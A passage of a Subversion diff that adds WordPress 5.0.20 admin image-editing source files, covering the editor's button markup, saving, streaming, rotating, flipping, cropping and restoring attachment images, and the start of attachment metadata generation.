+		if ( wp_image_editor_supports( array( 'mime_type' => get_post_mime_type( $post_id ), 'methods' => array( 'rotate' ) ) ) ) {
+			$note_no_rotate = '';
+	?>
+			<button type="button" class="imgedit-rleft button" onclick="imageEdit.rotate( 90, <?php echo "$post_id, '$nonce'"; ?>, this)"><span class="screen-reader-text"><?php esc_html_e( 'Rotate counter-clockwise' ); ?></span></button>
+			<button type="button" class="imgedit-rright button" onclick="imageEdit.rotate(-90, <?php echo "$post_id, '$nonce'"; ?>, this)"><span class="screen-reader-text"><?php esc_html_e( 'Rotate clockwise' ); ?></span></button>
+	<?php } else {
+			$note_no_rotate = '<p class="note-no-rotate"><em>' . __( 'Image rotation is not supported by your web host.' ) . '</em></p>';
+	?>
+			<button type="button" class="imgedit-rleft button disabled" disabled></button>
+			<button type="button" class="imgedit-rright button disabled" disabled></button>
+	<?php } ?>
+
+			<button type="button" onclick="imageEdit.flip(1, <?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-flipv button"><span class="screen-reader-text"><?php esc_html_e( 'Flip vertically' ); ?></span></button>
+			<button type="button" onclick="imageEdit.flip(2, <?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-fliph button"><span class="screen-reader-text"><?php esc_html_e( 'Flip horizontally' ); ?></span></button>
+
+			<button type="button" id="image-undo-<?php echo $post_id; ?>" onclick="imageEdit.undo(<?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-undo button disabled" disabled><span class="screen-reader-text"><?php esc_html_e( 'Undo' ); ?></span></button>
+			<button type="button" id="image-redo-<?php echo $post_id; ?>" onclick="imageEdit.redo(<?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-redo button disabled" disabled><span class="screen-reader-text"><?php esc_html_e( 'Redo' ); ?></span></button>
+			<?php echo $note_no_rotate; ?>
+		</div>
+
+		<input type="hidden" id="imgedit-sizer-<?php echo $post_id; ?>" value="<?php echo $sizer; ?>" />
+		<input type="hidden" id="imgedit-history-<?php echo $post_id; ?>" value="" />
+		<input type="hidden" id="imgedit-undone-<?php echo $post_id; ?>" value="0" />
+		<input type="hidden" id="imgedit-selection-<?php echo $post_id; ?>" value="" />
+		<input type="hidden" id="imgedit-x-<?php echo $post_id; ?>" value="<?php echo isset( $meta['width'] ) ? $meta['width'] : 0; ?>" />
+		<input type="hidden" id="imgedit-y-<?php echo $post_id; ?>" value="<?php echo isset( $meta['height'] ) ? $meta['height'] : 0; ?>" />
+
+		<div id="imgedit-crop-<?php echo $post_id; ?>" class="imgedit-crop-wrap">
+		<img id="image-preview-<?php echo $post_id; ?>" onload="imageEdit.imgLoaded('<?php echo $post_id; ?>')" src="<?php echo admin_url( 'admin-ajax.php', 'relative' ); ?>?action=imgedit-preview&amp;_ajax_nonce=<?php echo $nonce; ?>&amp;postid=<?php echo $post_id; ?>&amp;rand=<?php echo rand(1, 99999); ?>" alt="" />
+		</div>
+
+		<div class="imgedit-submit">
+			<input type="button" onclick="imageEdit.close(<?php echo $post_id; ?>, 1)" class="button imgedit-cancel-btn" value="<?php esc_attr_e( 'Cancel' ); ?>" />
+			<input type="button" onclick="imageEdit.save(<?php echo "$post_id, '$nonce'"; ?>)" disabled="disabled" class="button button-primary imgedit-submit-btn" value="<?php esc_attr_e( 'Save' ); ?>" />
+		</div>
+	</div>
+
+	</div>
+	<div class="imgedit-wait" id="imgedit-wait-<?php echo $post_id; ?>"></div>
+	<div class="hidden" id="imgedit-leaving-<?php echo $post_id; ?>"><?php _e("There are unsaved changes that will be lost. 'OK' to continue, 'Cancel' to return to the Image Editor."); ?></div>
+	</div>
+<?php
+}
+
+/**
+ * Streams image in WP_Image_Editor to browser.
+ *
+ * @param WP_Image_Editor $image         The image editor instance.
+ * @param string          $mime_type     The mime type of the image.
+ * @param int             $attachment_id The image's attachment post ID.
+ * @return bool True on success, false on failure.
+ */
+function wp_stream_image( $image, $mime_type, $attachment_id ) {
+	if ( $image instanceof WP_Image_Editor ) {
+
+		/**
+		 * Filters the WP_Image_Editor instance for the image to be streamed to the browser.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param WP_Image_Editor $image         The image editor instance.
+		 * @param int             $attachment_id The attachment post ID.
+		 */
+		$image = apply_filters( 'image_editor_save_pre', $image, $attachment_id );
+
+		if ( is_wp_error( $image->stream( $mime_type ) ) )
+			return false;
+
+		return true;
+	} else {
+		_deprecated_argument( __FUNCTION__, '3.5.0', __( '$image needs to be an WP_Image_Editor object' ) );
+
+		/**
+		 * Filters the GD image resource to be streamed to the browser.
+		 *
+		 * @since 2.9.0
+		 * @deprecated 3.5.0 Use image_editor_save_pre instead.
+		 *
+		 * @param resource $image         Image resource to be streamed.
+		 * @param int      $attachment_id The attachment post ID.
+		 */
+		$image = apply_filters( 'image_save_pre', $image, $attachment_id );
+
+		switch ( $mime_type ) {
+			case 'image/jpeg':
+				header( 'Content-Type: image/jpeg' );
+				return imagejpeg( $image, null, 90 );
+			case 'image/png':
+				header( 'Content-Type: image/png' );
+				return imagepng( $image );
+			case 'image/gif':
+				header( 'Content-Type: image/gif' );
+				return imagegif( $image );
+			default:
+				return false;
+		}
+	}
+}
+
+/**
+ * Saves Image to File
+ *
+ * @param string $filename
+ * @param WP_Image_Editor $image
+ * @param string $mime_type
+ * @param int $post_id
+ * @return bool
+ */
+function wp_save_image_file( $filename, $image, $mime_type, $post_id ) {
+	if ( $image instanceof WP_Image_Editor ) {
+
+		/** This filter is documented in wp-admin/includes/image-edit.php */
+		$image = apply_filters( 'image_editor_save_pre', $image, $post_id );
+
+		/**
+		 * Filters whether to skip saving the image file.
+		 *
+		 * Returning a non-null value will short-circuit the save method,
+		 * returning that value instead.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param mixed           $override  Value to return instead of saving. Default null.
+		 * @param string          $filename  Name of the file to be saved.
+		 * @param WP_Image_Editor $image     WP_Image_Editor instance.
+		 * @param string          $mime_type Image mime type.
+		 * @param int             $post_id   Post ID.
+		 */
+		$saved = apply_filters( 'wp_save_image_editor_file', null, $filename, $image, $mime_type, $post_id );
+
+		if ( null !== $saved )
+			return $saved;
+
+		return $image->save( $filename, $mime_type );
+	} else {
+		_deprecated_argument( __FUNCTION__, '3.5.0', __( '$image needs to be an WP_Image_Editor object' ) );
+
+		/** This filter is documented in wp-admin/includes/image-edit.php */
+		$image = apply_filters( 'image_save_pre', $image, $post_id );
+
+		/**
+		 * Filters whether to skip saving the image file.
+		 *
+		 * Returning a non-null value will short-circuit the save method,
+		 * returning that value instead.
+		 *
+		 * @since 2.9.0
+		 * @deprecated 3.5.0 Use wp_save_image_editor_file instead.
+		 *
+		 * @param mixed           $override  Value to return instead of saving. Default null.
+		 * @param string          $filename  Name of the file to be saved.
+		 * @param WP_Image_Editor $image     WP_Image_Editor instance.
+		 * @param string          $mime_type Image mime type.
+		 * @param int             $post_id   Post ID.
+		 */
+		$saved = apply_filters( 'wp_save_image_file', null, $filename, $image, $mime_type, $post_id );
+
+		if ( null !== $saved )
+			return $saved;
+
+		switch ( $mime_type ) {
+			case 'image/jpeg':
+
+				/** This filter is documented in wp-includes/class-wp-image-editor.php */
+				return imagejpeg( $image, $filename, apply_filters( 'jpeg_quality', 90, 'edit_image' ) );
+			case 'image/png':
+				return imagepng( $image, $filename );
+			case 'image/gif':
+				return imagegif( $image, $filename );
+			default:
+				return false;
+		}
+	}
+}
+
+/**
+ * Image preview ratio. Internal use only.
+ *
+ * @since 2.9.0
+ *
+ * @ignore
+ * @param int $w Image width in pixels.
+ * @param int $h Image height in pixels.
+ * @return float|int Image preview ratio.
+ */
+function _image_get_preview_ratio($w, $h) {
+	$max = max($w, $h);
+	return $max > 400 ? (400 / $max) : 1;
+}
+
+/**
+ * Returns an image resource. Internal use only.
+ *
+ * @since 2.9.0
+ * @deprecated 3.5.0 Use WP_Image_Editor::rotate()
+ * @see WP_Image_Editor::rotate()
+ *
+ * @ignore
+ * @param resource  $img   Image resource.
+ * @param float|int $angle Image rotation angle, in degrees.
+ * @return resource|false GD image resource, false otherwise.
+ */
+function _rotate_image_resource($img, $angle) {
+	_deprecated_function( __FUNCTION__, '3.5.0', 'WP_Image_Editor::rotate()' );
+	if ( function_exists('imagerotate') ) {
+		$rotated = imagerotate($img, $angle, 0);
+		if ( is_resource($rotated) ) {
+			imagedestroy($img);
+			$img = $rotated;
+		}
+	}
+	return $img;
+}
+
+/**
+ * Flips an image resource. Internal use only.
+ *
+ * @since 2.9.0
+ * @deprecated 3.5.0 Use WP_Image_Editor::flip()
+ * @see WP_Image_Editor::flip()
+ *
+ * @ignore
+ * @param resource $img  Image resource.
+ * @param bool     $horz Whether to flip horizontally.
+ * @param bool     $vert Whether to flip vertically.
+ * @return resource (maybe) flipped image resource.
+ */
+function _flip_image_resource($img, $horz, $vert) {
+	_deprecated_function( __FUNCTION__, '3.5.0', 'WP_Image_Editor::flip()' );
+	$w = imagesx($img);
+	$h = imagesy($img);
+	$dst = wp_imagecreatetruecolor($w, $h);
+	if ( is_resource($dst) ) {
+		$sx = $vert ? ($w - 1) : 0;
+		$sy = $horz ? ($h - 1) : 0;
+		$sw = $vert ? -$w : $w;
+		$sh = $horz ? -$h : $h;
+
+		if ( imagecopyresampled($dst, $img, 0, 0, $sx, $sy, $w, $h, $sw, $sh) ) {
+			imagedestroy($img);
+			$img = $dst;
+		}
+	}
+	return $img;
+}
+
+/**
+ * Crops an image resource. Internal use only.
+ *
+ * @since 2.9.0
+ *
+ * @ignore
+ * @param resource $img Image resource.
+ * @param float    $x   Source point x-coordinate.
+ * @param float    $y   Source point y-cooredinate.
+ * @param float    $w   Source width.
+ * @param float    $h   Source height.
+ * @return resource (maybe) cropped image resource.
+ */
+function _crop_image_resource($img, $x, $y, $w, $h) {
+	$dst = wp_imagecreatetruecolor($w, $h);
+	if ( is_resource($dst) ) {
+		if ( imagecopy($dst, $img, 0, 0, $x, $y, $w, $h) ) {
+			imagedestroy($img);
+			$img = $dst;
+		}
+	}
+	return $img;
+}
+
+/**
+ * Performs group of changes on Editor specified.
+ *
+ * @since 2.9.0
+ *
+ * @param WP_Image_Editor $image   WP_Image_Editor instance.
+ * @param array           $changes Array of change operations.
+ * @return WP_Image_Editor WP_Image_Editor instance with changes applied.
+ */
+function image_edit_apply_changes( $image, $changes ) {
+	if ( is_resource( $image ) )
+		_deprecated_argument( __FUNCTION__, '3.5.0', __( '$image needs to be an WP_Image_Editor object' ) );
+
+	if ( !is_array($changes) )
+		return $image;
+
+	// Expand change operations.
+	foreach ( $changes as $key => $obj ) {
+		if ( isset($obj->r) ) {
+			$obj->type = 'rotate';
+			$obj->angle = $obj->r;
+			unset($obj->r);
+		} elseif ( isset($obj->f) ) {
+			$obj->type = 'flip';
+			$obj->axis = $obj->f;
+			unset($obj->f);
+		} elseif ( isset($obj->c) ) {
+			$obj->type = 'crop';
+			$obj->sel = $obj->c;
+			unset($obj->c);
+		}
+		$changes[$key] = $obj;
+	}
+
+	// Combine operations.
+	if ( count($changes) > 1 ) {
+		$filtered = array($changes[0]);
+		for ( $i = 0, $j = 1, $c = count( $changes ); $j < $c; $j++ ) {
+			$combined = false;
+			if ( $filtered[$i]->type == $changes[$j]->type ) {
+				switch ( $filtered[$i]->type ) {
+					case 'rotate':
+						$filtered[$i]->angle += $changes[$j]->angle;
+						$combined = true;
+						break;
+					case 'flip':
+						$filtered[$i]->axis ^= $changes[$j]->axis;
+						$combined = true;
+						break;
+				}
+			}
+			if ( !$combined )
+				$filtered[++$i] = $changes[$j];
+		}
+		$changes = $filtered;
+		unset($filtered);
+	}
+
+	// Image resource before applying the changes.
+	if ( $image instanceof WP_Image_Editor ) {
+
+		/**
+		 * Filters the WP_Image_Editor instance before applying changes to the image.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param WP_Image_Editor $image   WP_Image_Editor instance.
+ 		 * @param array           $changes Array of change operations.
+		 */
+		$image = apply_filters( 'wp_image_editor_before_change', $image, $changes );
+	} elseif ( is_resource( $image ) ) {
+
+		/**
+		 * Filters the GD image resource before applying changes to the image.
+		 *
+		 * @since 2.9.0
+		 * @deprecated 3.5.0 Use wp_image_editor_before_change instead.
+		 *
+		 * @param resource $image   GD image resource.
+ 		 * @param array    $changes Array of change operations.
+		 */
+		$image = apply_filters( 'image_edit_before_change', $image, $changes );
+	}
+
+	foreach ( $changes as $operation ) {
+		switch ( $operation->type ) {
+			case 'rotate':
+				if ( $operation->angle != 0 ) {
+					if ( $image instanceof WP_Image_Editor )
+						$image->rotate( $operation->angle );
+					else
+						$image = _rotate_image_resource( $image, $operation->angle );
+				}
+				break;
+			case 'flip':
+				if ( $operation->axis != 0 )
+					if ( $image instanceof WP_Image_Editor )
+						$image->flip( ($operation->axis & 1) != 0, ($operation->axis & 2) != 0 );
+					else
+						$image = _flip_image_resource( $image, ( $operation->axis & 1 ) != 0, ( $operation->axis & 2 ) != 0 );
+				break;
+			case 'crop':
+				$sel = $operation->sel;
+
+				if ( $image instanceof WP_Image_Editor ) {
+					$size = $image->get_size();
+					$w = $size['width'];
+					$h = $size['height'];
+
+					$scale = 1 / _image_get_preview_ratio( $w, $h ); // discard preview scaling
+					$image->crop( $sel->x * $scale, $sel->y * $scale, $sel->w * $scale, $sel->h * $scale );
+				} else {
+					$scale = 1 / _image_get_preview_ratio( imagesx( $image ), imagesy( $image ) ); // discard preview scaling
+					$image = _crop_image_resource( $image, $sel->x * $scale, $sel->y * $scale, $sel->w * $scale, $sel->h * $scale );
+				}
+				break;
+		}
+	}
+
+	return $image;
+}
+
+
+/**
+ * Streams image in post to browser, along with enqueued changes
+ * in $_REQUEST['history']
+ *
+ * @param int $post_id
+ * @return bool
+ */
+function stream_preview_image( $post_id ) {
+	$post = get_post( $post_id );
+
+	wp_raise_memory_limit( 'admin' );
+
+	$img = wp_get_image_editor( _load_image_to_edit_path( $post_id ) );
+
+	if ( is_wp_error( $img ) ) {
+		return false;
+	}
+
+	$changes = !empty($_REQUEST['history']) ? json_decode( wp_unslash($_REQUEST['history']) ) : null;
+	if ( $changes )
+		$img = image_edit_apply_changes( $img, $changes );
+
+	// Scale the image.
+	$size = $img->get_size();
+	$w = $size['width'];
+	$h = $size['height'];
+
+	$ratio = _image_get_preview_ratio( $w, $h );
+	$w2 = max ( 1, $w * $ratio );
+	$h2 = max ( 1, $h * $ratio );
+
+	if ( is_wp_error( $img->resize( $w2, $h2 ) ) )
+		return false;
+
+	return wp_stream_image( $img, $post->post_mime_type, $post_id );
+}
+
+/**
+ * Restores the metadata for a given attachment.
+ *
+ * @since 2.9.0
+ *
+ * @param int $post_id Attachment post ID.
+ * @return stdClass Image restoration message object.
+ */
+function wp_restore_image($post_id) {
+	$meta = wp_get_attachment_metadata($post_id);
+	$file = get_attached_file($post_id);
+	$backup_sizes = $old_backup_sizes = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true );
+	$restored = false;
+	$msg = new stdClass;
+
+	if ( !is_array($backup_sizes) ) {
+		$msg->error = __('Cannot load image metadata.');
+		return $msg;
+	}
+
+	$parts = pathinfo($file);
+	$suffix = time() . rand(100, 999);
+	$default_sizes = get_intermediate_image_sizes();
+
+	if ( isset($backup_sizes['full-orig']) && is_array($backup_sizes['full-orig']) ) {
+		$data = $backup_sizes['full-orig'];
+
+		if ( $parts['basename'] != $data['file'] ) {
+			if ( defined('IMAGE_EDIT_OVERWRITE') && IMAGE_EDIT_OVERWRITE ) {
+
+				// Delete only if it's an edited image.
+				if ( preg_match('/-e[0-9]{13}\./', $parts['basename']) ) {
+					wp_delete_file( $file );
+				}
+			} elseif ( isset( $meta['width'], $meta['height'] ) ) {
+				$backup_sizes["full-$suffix"] = array('width' => $meta['width'], 'height' => $meta['height'], 'file' => $parts['basename']);
+			}
+		}
+
+		$restored_file = path_join($parts['dirname'], $data['file']);
+		$restored = update_attached_file($post_id, $restored_file);
+
+		$meta['file'] = _wp_relative_upload_path( $restored_file );
+		$meta['width'] = $data['width'];
+		$meta['height'] = $data['height'];
+	}
+
+	foreach ( $default_sizes as $default_size ) {
+		if ( isset($backup_sizes["$default_size-orig"]) ) {
+			$data = $backup_sizes["$default_size-orig"];
+			if ( isset($meta['sizes'][$default_size]) && $meta['sizes'][$default_size]['file'] != $data['file'] ) {
+				if ( defined('IMAGE_EDIT_OVERWRITE') && IMAGE_EDIT_OVERWRITE ) {
+
+					// Delete only if it's an edited image.
+					if ( preg_match('/-e[0-9]{13}-/', $meta['sizes'][$default_size]['file']) ) {
+						$delete_file = path_join( $parts['dirname'], $meta['sizes'][$default_size]['file'] );
+						wp_delete_file( $delete_file );
+					}
+				} else {
+					$backup_sizes["$default_size-{$suffix}"] = $meta['sizes'][$default_size];
+				}
+			}
+
+			$meta['sizes'][$default_size] = $data;
+		} else {
+			unset($meta['sizes'][$default_size]);
+		}
+	}
+
+	if ( ! wp_update_attachment_metadata( $post_id, $meta ) ||
+		( $old_backup_sizes !== $backup_sizes && ! update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes ) ) ) {
+
+		$msg->error = __('Cannot save image metadata.');
+		return $msg;
+	}
+
+	if ( !$restored )
+		$msg->error = __('Image metadata is inconsistent.');
+	else
+		$msg->msg = __('Image restored successfully.');
+
+	return $msg;
+}
+
+/**
+ * Saves image to post along with enqueued changes
+ * in $_REQUEST['history']
+ *
+ * @param int $post_id
+ * @return \stdClass
+ */
+function wp_save_image( $post_id ) {
+	$_wp_additional_image_sizes = wp_get_additional_image_sizes();
+
+	$return = new stdClass;
+	$success = $delete = $scaled = $nocrop = false;
+	$post = get_post( $post_id );
+
+	$img = wp_get_image_editor( _load_image_to_edit_path( $post_id, 'full' ) );
+	if ( is_wp_error( $img ) ) {
+		$return->error = esc_js( __('Unable to create new image.') );
+		return $return;
+	}
+
+	$fwidth = !empty($_REQUEST['fwidth']) ? intval($_REQUEST['fwidth']) : 0;
+	$fheight = !empty($_REQUEST['fheight']) ? intval($_REQUEST['fheight']) : 0;
+	$target = !empty($_REQUEST['target']) ? preg_replace('/[^a-z0-9_-]+/i', '', $_REQUEST['target']) : '';
+	$scale = !empty($_REQUEST['do']) && 'scale' == $_REQUEST['do'];
+
+	if ( $scale && $fwidth > 0 && $fheight > 0 ) {
+		$size = $img->get_size();
+		$sX = $size['width'];
+		$sY = $size['height'];
+
+		// Check if it has roughly the same w / h ratio.
+		$diff = round($sX / $sY, 2) - round($fwidth / $fheight, 2);
+		if ( -0.1 < $diff && $diff < 0.1 ) {
+			// Scale the full size image.
+			if ( $img->resize( $fwidth, $fheight ) )
+				$scaled = true;
+		}
+
+		if ( !$scaled ) {
+			$return->error = esc_js( __('Error while saving the scaled image. Please reload the page and try again.') );
+			return $return;
+		}
+	} elseif ( !empty($_REQUEST['history']) ) {
+		$changes = json_decode( wp_unslash($_REQUEST['history']) );
+		if ( $changes )
+			$img = image_edit_apply_changes($img, $changes);
+	} else {
+		$return->error = esc_js( __('Nothing to save, the image has not changed.') );
+		return $return;
+	}
+
+	$meta = wp_get_attachment_metadata($post_id);
+	$backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true );
+
+	if ( !is_array($meta) ) {
+		$return->error = esc_js( __('Image data does not exist. Please re-upload the image.') );
+		return $return;
+	}
+
+	if ( !is_array($backup_sizes) )
+		$backup_sizes = array();
+
+	// Generate new filename.
+	$path = get_attached_file( $post_id );
+
+	$basename = pathinfo( $path, PATHINFO_BASENAME );
+	$dirname = pathinfo( $path, PATHINFO_DIRNAME );
+	$ext = pathinfo( $path, PATHINFO_EXTENSION );
+	$filename = pathinfo( $path, PATHINFO_FILENAME );
+	$suffix = time() . rand(100, 999);
+
+	if ( defined('IMAGE_EDIT_OVERWRITE') && IMAGE_EDIT_OVERWRITE &&
+		isset($backup_sizes['full-orig']) && $backup_sizes['full-orig']['file'] != $basename ) {
+
+		if ( 'thumbnail' == $target ) {
+			$new_path = "{$dirname}/{$filename}-temp.{$ext}";
+		} else {
+			$new_path = $path;
+		}
+	} else {
+		while ( true ) {
+			$filename = preg_replace( '/-e([0-9]+)$/', '', $filename );
+			$filename .= "-e{$suffix}";
+			$new_filename = "{$filename}.{$ext}";
+			$new_path = "{$dirname}/$new_filename";
+			if ( file_exists($new_path) ) {
+				$suffix++;
+			} else {
+				break;
+			}
+		}
+	}
+
+	// Save the full-size file, also needed to create sub-sizes.
+	if ( !wp_save_image_file($new_path, $img, $post->post_mime_type, $post_id) ) {
+		$return->error = esc_js( __('Unable to save the image.') );
+		return $return;
+	}
+
+	if ( 'nothumb' === $target || 'all' === $target || 'full' === $target || $scaled ) {
+		$tag = false;
+		if ( isset( $backup_sizes['full-orig'] ) ) {
+			if ( ( ! defined( 'IMAGE_EDIT_OVERWRITE' ) || ! IMAGE_EDIT_OVERWRITE ) && $backup_sizes['full-orig']['file'] !== $basename ) {
+				$tag = "full-$suffix";
+			}
+		} else {
+			$tag = 'full-orig';
+		}
+
+		if ( $tag ) {
+			$backup_sizes[$tag] = array('width' => $meta['width'], 'height' => $meta['height'], 'file' => $basename );
+		}
+		$success = ( $path === $new_path ) || update_attached_file( $post_id, $new_path );
+
+		$meta['file'] = _wp_relative_upload_path( $new_path );
+
+		$size = $img->get_size();
+		$meta['width'] = $size['width'];
+		$meta['height'] = $size['height'];
+
+		if ( $success && ('nothumb' == $target || 'all' == $target) ) {
+			$sizes = get_intermediate_image_sizes();
+			if ( 'nothumb' == $target )
+				$sizes = array_diff( $sizes, array('thumbnail') );
+		}
+
+		$return->fw = $meta['width'];
+		$return->fh = $meta['height'];
+	} elseif ( 'thumbnail' == $target ) {
+		$sizes = array( 'thumbnail' );
+		$success = $delete = $nocrop = true;
+	}
+
+	/*
+	 * We need to remove any existing resized image files because
+	 * a new crop or rotate could generate different sizes (and hence, filenames),
+	 * keeping the new resized images from overwriting the existing image files.
+	 * https://core.trac.wordpress.org/ticket/32171
+	 */
+	if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE && ! empty( $meta['sizes'] ) ) {
+		foreach ( $meta['sizes'] as $size ) {
+			if ( ! empty( $size['file'] ) && preg_match( '/-e[0-9]{13}-/', $size['file'] ) ) {
+				$delete_file = path_join( $dirname, $size['file'] );
+				wp_delete_file( $delete_file );
+			}
+		}
+	}
+
+	if ( isset( $sizes ) ) {
+		$_sizes = array();
+
+		foreach ( $sizes as $size ) {
+			$tag = false;
+			if ( isset( $meta['sizes'][$size] ) ) {
+				if ( isset($backup_sizes["$size-orig"]) ) {
+					if ( ( !defined('IMAGE_EDIT_OVERWRITE') || !IMAGE_EDIT_OVERWRITE ) && $backup_sizes["$size-orig"]['file'] != $meta['sizes'][$size]['file'] )
+						$tag = "$size-$suffix";
+				} else {
+					$tag = "$size-orig";
+				}
+
+				if ( $tag )
+					$backup_sizes[$tag] = $meta['sizes'][$size];
+			}
+
+			if ( isset( $_wp_additional_image_sizes[ $size ] ) ) {
+				$width  = intval( $_wp_additional_image_sizes[ $size ]['width'] );
+				$height = intval( $_wp_additional_image_sizes[ $size ]['height'] );
+				$crop   = ( $nocrop ) ? false : $_wp_additional_image_sizes[ $size ]['crop'];
+			} else {
+				$height = get_option( "{$size}_size_h" );
+				$width  = get_option( "{$size}_size_w" );
+				$crop   = ( $nocrop ) ? false : get_option( "{$size}_crop" );
+			}
+
+			$_sizes[ $size ] = array( 'width' => $width, 'height' => $height, 'crop' => $crop );
+		}
+
+		$meta['sizes'] = array_merge( $meta['sizes'], $img->multi_resize( $_sizes ) );
+	}
+
+	unset( $img );
+
+	if ( $success ) {
+		wp_update_attachment_metadata( $post_id, $meta );
+		update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes);
+
+		if ( $target == 'thumbnail' || $target == 'all' || $target == 'full' ) {
+			// Check if it's an image edit from attachment edit screen
+			if ( ! empty( $_REQUEST['context'] ) && 'edit-attachment' == $_REQUEST['context'] ) {
+				$thumb_url = wp_get_attachment_image_src( $post_id, array( 900, 600 ), true );
+				$return->thumbnail = $thumb_url[0];
+			} else {
+				$file_url = wp_get_attachment_url($post_id);
+				if ( ! empty( $meta['sizes']['thumbnail'] ) && $thumb = $meta['sizes']['thumbnail'] ) {
+					$return->thumbnail = path_join( dirname($file_url), $thumb['file'] );
+				} else {
+					$return->thumbnail = "$file_url?w=128&h=128";
+				}
+			}
+		}
+	} else {
+		$delete = true;
+	}
+
+	if ( $delete ) {
+		wp_delete_file( $new_path );
+	}
+
+	$return->msg = esc_js( __('Image saved') );
+	return $return;
+}
Index: /tags/5.0.20/src/wp-admin/includes/image.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/image.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/image.php	(revision 56912)
@@ -0,0 +1,705 @@
+<?php
+/**
+ * File contains all the administration image manipulation functions.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Crop an Image to a given size.
+ *
+ * @since 2.1.0
+ *
+ * @param string|int $src The source file or Attachment ID.
+ * @param int $src_x The start x position to crop from.
+ * @param int $src_y The start y position to crop from.
+ * @param int $src_w The width to crop.
+ * @param int $src_h The height to crop.
+ * @param int $dst_w The destination width.
+ * @param int $dst_h The destination height.
+ * @param int $src_abs Optional. If the source crop points are absolute.
+ * @param string $dst_file Optional. The destination file to write to.
+ * @return string|WP_Error New filepath on success, WP_Error on failure.
+ */
+function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
+	$src_file = $src;
+	if ( is_numeric( $src ) ) { // Handle int as attachment ID
+		$src_file = get_attached_file( $src );
+
+		if ( ! file_exists( $src_file ) ) {
+			// If the file doesn't exist, attempt a URL fopen on the src link.
+			// This can occur with certain file replication plugins.
+			$src = _load_image_to_edit_path( $src, 'full' );
+		} else {
+			$src = $src_file;
+		}
+	}
+
+	$editor = wp_get_image_editor( $src );
+	if ( is_wp_error( $editor ) )
+		return $editor;
+
+	$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
+	if ( is_wp_error( $src ) )
+		return $src;
+
+	if ( ! $dst_file )
+		$dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
+
+	/*
+	 * The directory containing the original file may no longer exist when
+	 * using a replication plugin.
+	 */
+	wp_mkdir_p( dirname( $dst_file ) );
+
+	$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );
+
+	$result = $editor->save( $dst_file );
+	if ( is_wp_error( $result ) )
+		return $result;
+
+	return $dst_file;
+}
+
+/**
+ * Generate post thumbnail attachment meta data.
+ *
+ * @since 2.1.0
+ *
+ * @param int $attachment_id Attachment Id to process.
+ * @param string $file Filepath of the Attached image.
+ * @return mixed Metadata for attachment.
+ */
+function wp_generate_attachment_metadata( $attachment_id, $file ) {
+	$attachment = get_post( $attachment_id );
+
+	$metadata = array();
+	$support = false;
+	$mime_type = get_post_mime_type( $attachment );
+
+	if ( preg_match( '!^image/!', $mime_type ) && file_is_displayable_image( $file ) ) {
+		$imagesize = getimagesize( $file );
+		$metadata['width'] = $imagesize[0];
+		$metadata['height'] = $imagesize[1];
+
+		// Make the file path relative to the upload dir.
+		$metadata['file'] = _wp_relative_upload_path($file);
+
+		// Make thumbnails and other intermediate sizes.
+		$_wp_additional_image_sizes = wp_get_additional_image_sizes();
+
+		$sizes = array();
+		foreach ( get_intermediate_image_sizes() as $s ) {
+			$sizes[$s] = array( 'width' => '', 'height' => '', 'crop' => false );
+			if ( isset( $_wp_additional_image_sizes[$s]['width'] ) ) {
+				// For theme-added sizes
+				$sizes[$s]['width'] = intval( $_wp_additional_image_sizes[$s]['width'] );
+			} else {
+				// For default sizes set in options
+				$sizes[$s]['width'] = get_option( "{$s}_size_w" );
+			}
+
+			if ( isset( $_wp_additional_image_sizes[$s]['height'] ) ) {
+				// For theme-added sizes
+				$sizes[$s]['height'] = intval( $_wp_additional_image_sizes[$s]['height'] );
+			} else {
+				// For default sizes set in options
+				$sizes[$s]['height'] = get_option( "{$s}_size_h" );
+			}
+
+			if ( isset( $_wp_additional_image_sizes[$s]['crop'] ) ) {
+				// For theme-added sizes
+				$sizes[$s]['crop'] = $_wp_additional_image_sizes[$s]['crop'];
+			} else {
+				// For default sizes set in options
+				$sizes[$s]['crop'] = get_option( "{$s}_crop" );
+			}
+		}
+
+		/**
+		 * Filters the image sizes automatically generated when uploading an image.
+		 *
+		 * @since 2.9.0
+		 * @since 4.4.0 Added the `$metadata` argument.
+		 *
+		 * @param array $sizes    An associative array of image sizes.
+		 * @param array $metadata An associative array of image metadata: width, height, file.
+		 */
+		$sizes = apply_filters( 'intermediate_image_sizes_advanced', $sizes, $metadata );
+
+		if ( $sizes ) {
+			$editor = wp_get_image_editor( $file );
+
+			if ( ! is_wp_error( $editor ) )
+				$metadata['sizes'] = $editor->multi_resize( $sizes );
+		} else {
+			$metadata['sizes'] = array();
+		}
+
+		// Fetch additional metadata from EXIF/IPTC.
+		$image_meta = wp_read_image_metadata( $file );
+		if ( $image_meta )
+			$metadata['image_meta'] = $image_meta;
+
+	} elseif ( wp_attachment_is( 'video', $attachment ) ) {
+		$metadata = wp_read_video_metadata( $file );
+		$support = current_theme_supports( 'post-thumbnails', 'attachment:video' ) || post_type_supports( 'attachment:video', 'thumbnail' );
+	} elseif ( wp_attachment_is( 'audio', $attachment ) ) {
+		$metadata = wp_read_audio_metadata( $file );
+		$support = current_theme_supports( 'post-thumbnails', 'attachment:audio' ) || post_type_supports( 'attachment:audio', 'thumbnail' );
+	}
+
+	if ( $support && ! empty( $metadata['image']['data'] ) ) {
+		// Check for existing cover.
+		$hash = md5( $metadata['image']['data'] );
+		$posts = get_posts( array(
